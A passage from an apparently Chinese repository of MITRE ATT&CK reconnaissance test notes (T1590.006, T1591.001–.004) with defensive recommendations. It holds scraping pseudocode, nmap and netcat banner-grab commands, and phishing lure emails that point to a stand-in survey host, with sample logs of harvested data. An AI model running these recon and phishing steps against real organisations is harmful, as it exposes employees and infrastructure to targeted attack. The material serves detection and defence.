- 搜索目标组织的采购公告,关键词包括“防火墙”、“NIDS”、“代理”或“安全设备”。
- 示例采购公告:
```
采购 Cisco ASA 5525-X 防火墙和 Fortinet FortiGate 100F 用于网络安全升级。
```
**输出示例**:
```
Organization: example.com
Security Devices: Cisco ASA 5525-X Firewall, Fortinet FortiGate 100F
```
**说明**:
- 公开采购信息可能泄露安全设备的型号和供应商。
- 关联 T1590.006:通过公开采购信息收集网络安全设备数据。
#### 测试案例 2:通过社交媒体收集网络安全设备信息
**关联技术**:T1590.006(网络安全设备信息收集)
**说明**:
- 攻击者通过 LinkedIn、微博或技术论坛(如 CSDN、Reddit),收集员工分享的网络安全设备部署或配置信息。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取网络安全设备相关信息
security_info = [post.text for post in soup.find_all(text=lambda t: "firewall" in t.lower() or "nids" in t.lower())]
print(security_info)
```
**输出示例**:
```
Post: "Just upgraded our network with Palo Alto PA-220 firewalls."
Security Device: Palo Alto PA-220 Firewall
```
**说明**:
- 员工可能在社交媒体分享安全设备的部署信息。
- 关联 T1590.006:通过社交媒体获取网络安全设备信息。
#### 测试案例 3:钓鱼收集网络安全设备信息
**关联技术**:T1590.006(网络安全设备信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露防火墙、NIDS 或代理设备的型号和版本信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 网络安全设备调查
Body: 请提供您公司使用的防火墙或 NIDS 型号以协助技术支持:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
firewall=Cisco ASA 5525-X&nids=Snort 3.1
```
**说明**:
- 钓鱼攻击可直接收集网络安全设备信息,为后续攻击提供基础。
- 关联 T1590.006:通过钓鱼获取网络安全设备信息。
#### 测试案例 4:通过主动扫描识别网络安全设备
**关联技术**:T1590.006(网络安全设备信息收集)、T1046(网络服务扫描)
**说明**:
- 攻击者通过端口扫描或 Banner 抓取识别目标网络中部署的防火墙、代理或 NIDS 设备。
**示例操作**:
```bash
# 使用 Nmap 扫描目标网络
nmap -sV -p 80,443,8080 192.168.1.10
# 或使用 netcat 抓取 Banner
nc 192.168.1.10 443
HEAD / HTTP/1.0
```
**输出示例**:
```
Nmap scan report for 192.168.1.10
Port 443/tcp open https Fortinet FortiGate 100F
```
**说明**:
- `nmap -sV` 可识别防火墙或代理设备的型号,Banner 抓取可能暴露设备信息。
- 关联 T1590.006:通过主动扫描收集网络安全设备信息。
#### 测试案例 5:通过 WEB 蜜罐识别技术收集信息
**关联技术**:T1590.006(网络安全设备信息收集)
**说明**:
- 攻击者使用专门工具或插件(如红队常用的 WEB 蜜罐识别阻断插件)检测目标网络中的蜜罐或防御设备。
**示例操作**:
- 使用浏览器插件或脚本扫描目标网站,识别是否存在蜜罐(如 T-Pot 或 Cowrie)。
**示例工具**(参考 FreeBuf 文章):
```bash
# 使用红队工具检测蜜罐
python detect_honeypot.py --url https://example.com
```
**输出示例**:
```
URL: https://example.com
Security Device: T-Pot Honeypot detected
```
**说明**:
- 红队工具可帮助攻击者识别蜜罐或其他防御设备,规避检测。
- 关联 T1590.006:通过蜜罐识别技术收集网络安全设备信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 搜索目标组织的采购公告或社交媒体,提取网络安全设备相关关键词(如“firewall”、“NIDS”)。
- 访问公司官网(如 `https://example.com/news`),查找安全设备采购或部署信息。
- 使用伪造邮件或调查问卷诱导员工泄露安全设备信息。
- 使用 Nmap 扫描:`nmap -sV -p 80,443,8080 192.168.1.10`。
- 使用红队工具(如蜜罐识别插件)扫描目标网站。
3. **预期结果**:返回网络安全设备信息(如 `Cisco ASA 5525-X Firewall`, `T-Pot Honeypot`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /news HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 网络安全设备调查, URL: http://fake-survey.com
```
- **网络流量日志**(扫描场景):
```
TCP 443, Source: 203.0.113.1, Request: HEAD / HTTP/1.0
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、采购公告或社交媒体泄露网络安全设备的型号或版本信息。
- 对采购信息进行模糊化处理(如避免提及具体设备型号)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露网络安全设备信息。
- 指导员工在社交媒体限制与安全设备相关的细节分享。
3. **主动 OSINT 评估**:
- 使用公开数据源(如企查查、Crunchbase)模拟攻击者行为,评估安全设备信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的设备信息。
4. **网络安全配置**:
- 使用防火墙限制对敏感端口(如 443、8080)的外部扫描。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫或扫描行为。
- 配置蜜罐以误导攻击者,保护真实安全设备。
5. **设备安全管理**:
- 定期更新防火墙、NIDS 和代理设备的固件,修复已知漏洞。
- 隐藏设备 Banner 信息,减少扫描暴露的风险。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用安全设备信息的钓鱼邮件。
- **漏洞利用(T1190)**:
- 关注针对防火墙或 NIDS 漏洞的攻击。
- **供应链攻击(T1195)**:
- 关注异常的安全设备供应商通信。
- **外部远程服务(T1133)**:
- 关注利用设备信息的远程访问尝试。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织网络安全设备的扫描或漏洞利用预警。
- 监控暗网或 Pastebin,识别泄露的防火墙或 NIDS 信息。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK: T1590-006
- 红队必备:WEB 蜜罐识别阻断插件
================================================
FILE: Windows/01侦察/T1591.001-收集目标组织信息-确定物理位置.md
================================================
# T1591-001-收集目标组织信息-确定物理位置
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的物理位置信息(T1591.001)。这些信息可用于目标定位、了解组织运营环境或指导后续攻击活动(如钓鱼攻击 T1566、信任关系利用 T1199 或物理入侵 T1200)。物理位置信息通常包括组织的分支机构地址、部门/分部的地理位置、办公楼的具体位置,以及关键设施(如数据中心)的详细信息。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集物理位置信息的动机包括:
- **物理入侵准备**:通过获取办公地点或数据中心地址,规划未经授权的物理访问。
- **精准社交工程**:利用物理位置信息定制钓鱼邮件或伪装成本地服务提供商。
- **供应链或信任关系攻击**:结合物理位置信息,识别供应链中的本地供应商或合作伙伴。
## 测试案例
以下测试案例展示了攻击者可能使用的外部物理位置信息收集方法,聚焦于公开数据源和社交工程,特别包括受害者的个人社交信息(如微博、微信、QQ)以及通过官方网站获取的组织位置信息。
#### 测试案例 1:通过社交媒体收集物理位置信息
**关联技术**:T1591.001(物理位置信息收集)
**说明**:
- 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台,收集员工分享的办公地点或签到信息。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.weibo.com/example-org"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取物理位置相关信息
location_info = [post.text for post in soup.find_all(text=lambda t: "office" in t.lower() or "check-in" in t.lower())]
print(location_info)
```
**输出示例**:
```
Post: "Checked in at Example Corp HQ, 123 Tech Street, Beijing."
Physical Location: 123 Tech Street, Beijing
```
**说明**:
- 员工可能在社交媒体分享办公地点或签到信息。
- 关联 T1591.001:通过社交媒体获取物理位置信息。
#### 测试案例 2:通过公司官网收集物理位置信息
**关联技术**:T1591.001(物理位置信息收集)
**说明**:
- 攻击者通过公司官网的“联系我们”或“关于我们”页面,提取组织的分支机构地址或办公地点信息。
**示例操作**:
```bash
# 访问公司官网的联系页面
curl https://example.com/contact
```
**输出示例**:
```
Page Content: "Visit us at our headquarters: 123 Tech Street, Beijing, China."
Physical Location: 123 Tech Street, Beijing, China
```
**说明**:
- 公司官网可能公开分支机构或办公地点信息。
- 关联 T1591.001:通过官网获取物理位置信息。
#### 测试案例 3:钓鱼收集物理位置信息
**关联技术**:T1591.001(物理位置信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露办公地点或设施地址信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 办公室地址确认
Body: 请提供您所在办公室的地址以协助物流安排:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
office_address=123 Tech Street, Beijing&branch=Shanghai Office, 456 Innovation Road
```
**说明**:
- 钓鱼攻击可直接收集物理位置信息,为物理入侵或精准社交工程提供基础。
- 关联 T1591.001:通过钓鱼获取物理位置信息。
#### 测试案例 4:通过公开数据源收集物理位置信息
**关联技术**:T1591.001(物理位置信息收集)
**说明**:
- 攻击者通过公开数据源(如 Google Maps、企查查、Crunchbase)或在线地图查询目标组织的办公地点或设施地址。
**示例操作**:
```bash
# 在 Google Maps 查询公司地址
curl https://maps.google.com?q=Example+Corp
# 或在企查查查询公司注册地址
```
**输出示例**:
```
Organization: Example Corp
Physical Location: 123 Tech Street, Beijing, China
```
**说明**:
- 公开数据源或在线地图可能暴露组织的分支机构或办公地址。
- 关联 T1591.001:通过公开数据源获取物理位置信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 搜索目标组织的社交媒体(如微博、LinkedIn),提取物理位置相关关键词(如“office”、“check-in”)。
- 访问公司官网(如 `https://example.com/contact`),查找分支机构或办公地址。
- 使用伪造邮件或调查问卷诱导员工泄露办公地点信息。
- 查询公开数据源(如 Google Maps、企查查),提取公司地址信息。
3. **预期结果**:返回物理位置信息(如 `123 Tech Street, Beijing`, `Shanghai Office, 456 Innovation Road`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /contact HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 办公室地址确认, URL: http://fake-survey.com
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、社交媒体或新闻发布中泄露分支机构或办公地点的详细地址。
- 对公开信息进行模糊化处理(如使用通用联系地址而非具体办公地址)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露办公地点或设施信息。
- 指导员工在社交媒体(如微博、微信)限制签到或位置相关信息的分享。
3. **主动 OSINT 评估**:
- 使用 Google Maps、企查查或 LinkedIn 模拟攻击者行为,评估公开物理位置信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的办公地址信息。
4. **物理安全管理**:
- 实施严格的物理访问控制,防止未经授权的进入。
- 限制办公地点在公开地图或数据源中的暴露(如请求 Google Maps 模糊化办公楼街景)。
5. **网络安全配置**:
- 使用防火墙限制对公司官网敏感页面的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用物理位置信息的钓鱼邮件。
- **信任关系利用(T1199)**:
- 关注伪装成本地服务提供商的攻击行为。
- **物理入侵(T1200)**:
- 关注基于办公地址的未经授权访问。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织物理位置的社交工程或物理入侵预警。
- 监控暗网或 Pastebin,识别泄露的办公地址或设施信息。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK: T1591-001
================================================
FILE: Windows/01侦察/T1591.002-收集目标组织信息-业务关系.md
================================================
# T1591-002-收集目标组织信息-业务关系
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务关系的信息(T1591.002)。这些信息可用于目标定位、了解组织的网络访问权限或指导后续攻击活动(如供应链攻击 T1195、钓鱼攻击 T1566、信任关系利用 T1199 或路过式下载 T1189)。业务关系信息通常包括与目标组织有连接的第二或第三方组织/域(如托管服务提供商、承包商、母子公司),以及硬件和软件资源的供应链和运送路径。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集业务关系信息的动机包括:
- **供应链攻击**:识别母子公司、供应商或承包商,寻找可利用的弱点。
- **信任关系利用**:利用业务关系中的信任网络(如托管服务提供商),实现初始访问。
- **精准社交工程**:通过了解业务关系,定制钓鱼邮件或伪装成合作伙伴。
## 测试案例
以下测试案例展示了攻击者可能使用的外部业务关系信息收集方法,聚焦于公开数据源和社交工程,特别包括受害者的个人社交信息(如微博、微信、QQ)以及上下游关系(如母子公司、供应商)。
#### 测试案例 1:通过社交媒体收集业务关系信息
**关联技术**:T1591.002(业务关系信息收集)
**说明**:
- 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台,收集目标组织员工分享的业务关系信息,如合作伙伴或供应商名称。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.weibo.com/example-org"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取业务关系相关信息
relationship_info = [post.text for post in soup.find_all(text=lambda t: "partner" in t.lower() or "supplier" in t.lower())]
print(relationship_info)
```
**输出示例**:
```
Post: "Excited to partner with CloudTech for our new cloud infrastructure!"
Business Relationship: Partner - CloudTech
```
**说明**:
- 员工或公司在社交媒体(如微博、LinkedIn)可能分享与合作伙伴或供应商的相关信息。
- 关联 T1591.002:通过社交媒体获取业务关系信息。
#### 测试案例 2:通过公司官网收集业务关系信息
**关联技术**:T1591.002(业务关系信息收集)
**说明**:
- 攻击者通过公司官网的“合作伙伴”或“关于我们”页面,提取业务关系信息,如母子公司或供应商名称。
**示例操作**:
```bash
# 访问公司官网的合作伙伴页面
curl https://example.com/partners
```
**输出示例**:
```
Page Content: "Example Corp is a subsidiary of GlobalTech Inc. and works with SupplyChain Ltd. for hardware procurement."
Business Relationship: Subsidiary - GlobalTech Inc., Supplier - SupplyChain Ltd.
```
**说明**:
- 公司官网可能公开母子公司或供应商信息。
- 关联 T1591.002:通过官网获取业务关系信息。
#### 测试案例 3:钓鱼收集业务关系信息
**关联技术**:T1591.002(业务关系信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露业务关系信息,如供应商、承包商或母子公司名称。
**示例操作**:
- 发送伪造邮件:
```
Subject: 供应商合作调查
Body: 请提供您公司的主要供应商或合作伙伴名称:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
supplier=SupplyChain Ltd.&partner=CloudTech
```
**说明**:
- 钓鱼攻击可直接收集业务关系信息,为供应链攻击或信任关系利用提供基础。
- 关联 T1591.002:通过钓鱼获取业务关系信息。
#### 测试案例 4:查询公开数据源收集业务关系信息
**关联技术**:T1591.002(业务关系信息收集)
**说明**:
- 攻击者通过公开数据源(如 Crunchbase、ZoomInfo 或企查查)查询目标组织的母子公司、供应商或合作伙伴信息。
**示例操作**:
```bash
# 在 Crunchbase 查询公司信息
curl https://www.crunchbase.com/organization/example-corp
```
**输出示例**:
```
Organization: example.com
Parent Company: GlobalTech Inc.
Partners: CloudTech, SupplyChain Ltd.
```
**说明**:
- 公开数据源可能暴露母子公司或合作伙伴信息。
- 关联 T1591.002:通过公开数据源获取业务关系信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 搜索目标组织的社交媒体(如微博、LinkedIn),提取业务关系相关关键词(如“partner”、“supplier”)。
- 访问公司官网(如 `https://example.com/partners`),查找母子公司或供应商信息。
- 使用伪造邮件或调查问卷诱导员工泄露业务关系信息。
- 查询公开数据源(如 Crunchbase、企查查),提取公司关系信息。
3. **预期结果**:返回业务关系信息(如 `Parent Company: GlobalTech Inc.`, `Supplier: SupplyChain Ltd.`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /partners HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 供应商合作调查, URL: http://fake-survey.com
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、社交媒体或新闻发布中泄露母子公司、供应商或合作伙伴的详细信息。
- 对业务关系信息进行模糊化处理(如避免提及具体供应商名称)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露业务关系信息。
- 指导员工在社交媒体(如微博、LinkedIn)限制与业务关系相关的细节分享。
3. **主动 OSINT 评估**:
- 使用 Crunchbase、ZoomInfo 或企查查模拟攻击者行为,评估公开业务关系信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的供应商或合作伙伴信息。
4. **供应链安全管理**:
- 审查供应商和合作伙伴的信息披露政策,减少敏感信息泄露。
- 实施供应链安全审计,确保第三方组织的安全性。
5. **网络安全配置**:
- 使用防火墙限制对公司官网敏感页面的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用业务关系信息的钓鱼邮件。
- **供应链攻击(T1195)**:
- 关注异常的供应商或合作伙伴通信,结合业务关系信息。
- **信任关系利用(T1199)**:
- 关注伪装成合作伙伴或母子公司的攻击行为。
- **路过式下载(T1189)**:
- 关注利用业务关系发起的恶意链接或下载。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织业务关系的社交工程或供应链攻击预警。
- 监控暗网或 Pastebin,识别泄露的母子公司、供应商或合作伙伴信息。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK: T1591-002
================================================
FILE: Windows/01侦察/T1591.003-收集目标组织信息-确定业务节奏.md
================================================
# T1591-003-收集受害者组织信息-确定业务节奏
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务节奏的信息(T1591.003)。这些信息可用于目标定位、了解组织运营模式或指导后续攻击活动(如供应链攻击 T1195、钓鱼攻击 T1566 或信任关系利用 T1199)。业务节奏信息通常包括每周工作时间/天数、硬件和软件资源的购买及运输时间/日期、员工上下班时间或办公场所的物理访问模式。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集业务节奏信息的动机包括:
- **优化攻击时机**:通过了解工作时间或资源交付周期,选择最佳攻击窗口(如员工下班后的物理入侵)。
- **精准社交工程**:利用业务节奏信息(如上下班时间)定制钓鱼邮件或物理尾随策略。
- **供应链攻击**:识别硬件/软件采购周期,寻找供应链中的可利用弱点。
## 测试案例
以下测试案例展示了攻击者可能使用的外部业务节奏信息收集方法,聚焦于公开数据源和社交工程,特别包括观察员工上下班时间、车辆进入情况等信息,为后续物理入侵或社交工程提供帮助。
#### 测试案例 1:通过社交媒体收集业务节奏信息
**关联技术**:T1591.003(业务节奏信息收集)
**说明**:
- 攻击者通过 LinkedIn、Twitter 或公司官网的社交媒体账号,收集员工分享的工作时间、办公模式或资源交付信息。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取业务节奏相关信息
rhythm_info = [post.text for post in soup.find_all(text=lambda t: "work hours" in t.lower() or "delivery" in t.lower() or "shift" in t.lower())]
print(rhythm_info)
```
**输出示例**:
```
Post: "Our team works 9 AM to 5 PM, with new server deliveries every Monday."
Business Rhythm: 9 AM to 5 PM work hours, server deliveries on Mondays
```
**说明**:
- 员工或公司可能在社交媒体分享工作时间或资源交付信息。
- 关联 T1591.003:通过社交媒体获取业务节奏信息。
#### 测试案例 2:通过公司官网收集业务节奏信息
**关联技术**:T1591.003(业务节奏信息收集)
**说明**:
- 攻击者通过公司官网的“关于我们”或“新闻”页面,提取业务节奏信息,如办公时间、采购周期或物流安排。
**示例操作**:
```bash
# 访问公司官网的新闻页面
curl https://example.com/news
```
**输出示例**:
```
Page Content: "Our office operates from 8 AM to 6 PM, with weekly hardware shipments arriving on Fridays."
Business Rhythm: 8 AM to 6 PM work hours, hardware shipments on Fridays
```
**说明**:
- 公司官网可能公开运营时间或供应链信息。
- 关联 T1591.003:通过官网获取业务节奏信息。
#### 测试案例 3:钓鱼收集业务节奏信息
**关联技术**:T1591.003(业务节奏信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露工作时间、车辆进入情况或资源交付信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 员工工作时间调查
Body: 请提供您的工作时间、办公室地址及硬件交付频率:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
work_hours=9 AM to 5 PM&office_address=123 Tech Street&delivery_frequency=Weekly on Mondays
```
**说明**:
- 钓鱼攻击可直接收集业务节奏信息,为物理入侵或精准社交工程提供基础。
- 关联 T1591.003:通过钓鱼获取业务节奏信息。
#### 测试案例 4:通过公开数据源观察上下班时间
**关联技术**:T1591.003(业务节奏信息收集)
**说明**:
- 攻击者通过公开摄像头、社交媒体或在线地图(如 Google Maps 街景)观察目标组织的上下班时间或车辆进入情况。
**示例操作**:
- 搜索目标组织的办公地点街景,分析员工上下班时间或车辆进入模式。
- 示例 Google Maps 街景观察:
```
Location: 123 Tech Street, observed employee vehicles entering at 8:30 AM and leaving at 5:30 PM.
```
**输出示例**:
```
Location: 123 Tech Street
Business Rhythm: Employees enter at 8:30 AM, leave at 5:30 PM
```
**说明**:
- 公开摄像头或街景数据可暴露员工上下班时间,为物理入侵提供情报。
- 关联 T1591.003:通过公开数据源获取业务节奏信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 搜索目标组织的社交媒体(如 LinkedIn、Twitter)或官网,提取业务节奏相关关键词(如“work hours”、“delivery”)。
- 访问 Google Maps 街景,观察办公地点员工上下班时间或车辆进入情况。
- 使用伪造邮件或调查问卷诱导员工泄露工作时间或交付信息。
3. **预期结果**:返回业务节奏信息(如 `9 AM to 5 PM work hours`, `Weekly hardware deliveries on Mondays`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /news HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 员工工作时间调查, URL: http://fake-survey.com
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、社交媒体或新闻发布中泄露工作时间、采购周期或物流安排。
- 对公开信息进行模糊化处理(如避免提及具体工作时间或交付日期)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露工作时间或办公地点信息。
- 指导员工在社交媒体限制与业务节奏相关的细节分享(如避免提及上下班时间)。
3. **主动 OSINT 评估**:
- 使用 Google Maps、LinkedIn 或 Twitter 模拟攻击者行为,评估公开业务节奏信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的工作时间或交付信息。
4. **物理安全管理**:
- 限制办公地点的公开摄像头暴露(如调整摄像头角度或禁用公共访问)。
- 实施物理访问控制,防止尾随或未经授权的车辆进入。
5. **网络安全配置**:
- 使用防火墙限制对公司官网敏感页面的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用业务节奏信息的钓鱼邮件。
- **供应链攻击(T1195)**:
- 关注异常的硬件或软件供应链请求,结合采购周期信息。
- **信任关系利用(T1199)**:
- 关注基于业务节奏的信任关系攻击,如伪装供应商。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织业务节奏的社交工程或物理入侵预警。
- 监控暗网或 Pastebin,识别泄露的工作时间、交付周期或办公地点信息。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK: T1591-003
================================================
FILE: Windows/01侦察/T1591.004-收集目标组织信息-确定角色.md
================================================
# T1591-004-收集目标组织信息-确定角色
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织内的身份和角色信息(T1591.004)。这些信息可用于目标定位、了解关键人员的职责或指导后续攻击活动(如钓鱼攻击 T1566、建立帐户 T1133 或入侵帐户 T1078)。角色信息通常包括关键人员的身份(如姓名、职位)、职责范围以及他们可以访问的数据或资源。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集角色信息的动机包括:
- **精准社交工程**:通过识别运维人员、网络管理员或高管,实施针对性的钓鱼或账号爆破攻击。
- **资源访问推测**:了解角色职责,推断其访问权限,为后续攻击(如凭据窃取)提供情报。
- **初始访问**:利用角色信息发送定制化的钓鱼邮件,诱导目标泄露凭据或点击恶意链接。
## 测试案例
以下测试案例展示了攻击者可能使用的外部角色信息收集方法,聚焦于公开数据源和社交工程,特别包括运维人员和网络管理员的信息收集,以支持精准社交工程、账号密码爆破或钓鱼攻击。
#### 测试案例 1:通过职位发布收集角色信息
**关联技术**:T1591.004(角色信息收集)
**说明**:
- 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取关键角色信息,如运维工程师或网络管理员的姓名、职责或联系方式。
**示例操作**:
- 搜索目标组织的职位发布,关键词包括“运维”、“网络管理员”、“IT 经理”或“系统工程师”。
- 示例职位描述:
```
招聘运维工程师,负责管理 AWS 云基础设施,联系人:张伟 (wei.zhang@example.com)。
```
**输出示例**:
```
Organization: example.com
Role: 运维工程师
Name: 张伟
Email: wei.zhang@example.com
Responsibilities: AWS 云基础设施管理
```
**说明**:
- 职位发布可能泄露关键角色的姓名、联系方式或职责。
- 关联 T1591.004:通过公开招聘信息收集角色数据。
#### 测试案例 2:社交媒体爬取角色信息
**关联技术**:T1591.004(角色信息收集)
**说明**:
- 攻击者通过 LinkedIn、Twitter 或技术论坛(如 CSDN、Reddit)收集员工分享的角色信息,如运维或网络管理员的职位和职责。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取角色相关信息
role_info = [post.text for post in soup.find_all(text=lambda t: "admin" in t.lower() or "operations" in t.lower())]
print(role_info)
```
**输出示例**:
```
Post: "Our network admin, Li Mei, upgraded our Cisco switches last week."
Role: Network Administrator
Name: Li Mei
Responsibilities: Cisco switch management
```
**说明**:
- 员工可能在社交媒体分享角色或职责信息。
- 关联 T1591.004:通过社交媒体获取角色信息。
#### 测试案例 3:钓鱼收集角色信息
**关联技术**:T1591.004(角色信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露角色信息,如职位、职责或联系方式。
**示例操作**:
- 发送伪造邮件:
```
Subject: IT 部门问卷调查
Body: 请提供您的职位、姓名和主要职责以协助技术支持:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
role=Network Administrator&name=Li Mei&responsibilities=Manage Cisco switches
```
**说明**:
- 钓鱼攻击可直接收集角色信息,为精准社交工程或账号爆破提供基础。
- 关联 T1591.004:通过钓鱼获取角色信息。
#### 测试案例 4:查询公开技术数据库或公司官网
**关联技术**:T1591.004(角色信息收集)
**说明**:
- 攻击者通过公司官网、社交媒体或公开数据库(如 Crunchbase、ZoomInfo)查询目标组织的员工角色信息。
**示例操作**:
```bash
# 访问公司官网的“关于我们”页面
curl https://example.com/about
# 或在 LinkedIn 查询公司员工
```
**输出示例**:
```
Organization: example.com
Role: IT Manager
Name: Wang Tao
Email: tao.wang@example.com
```
**说明**:
- 公司官网或公开数据库可能暴露员工的姓名、职位或联系方式。
- 关联 T1591.004:通过公开数据源获取角色信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 搜索目标组织的职位发布或社交媒体,提取角色相关关键词(如“运维”、“网络管理员”)。
- 访问公司官网(如 `https://example.com/about`)或 LinkedIn,查找员工信息。
- 使用伪造邮件或调查问卷诱导员工泄露角色信息。
3. **预期结果**:返回关键角色的姓名、职位或职责信息(如 `Network Administrator, Li Mei, Manage Cisco switches`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /about HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: IT 部门问卷调查, URL: http://fake-survey.com
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、职位发布或社交媒体泄露关键人员的姓名、职位或职责信息。
- 对员工信息进行模糊化处理(如在官网使用通用联系邮箱而非个人邮箱)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露角色或职责信息。
- 指导员工在社交媒体限制工作相关细节的分享(如避免提及职位或职责)。
3. **主动 OSINT 评估**:
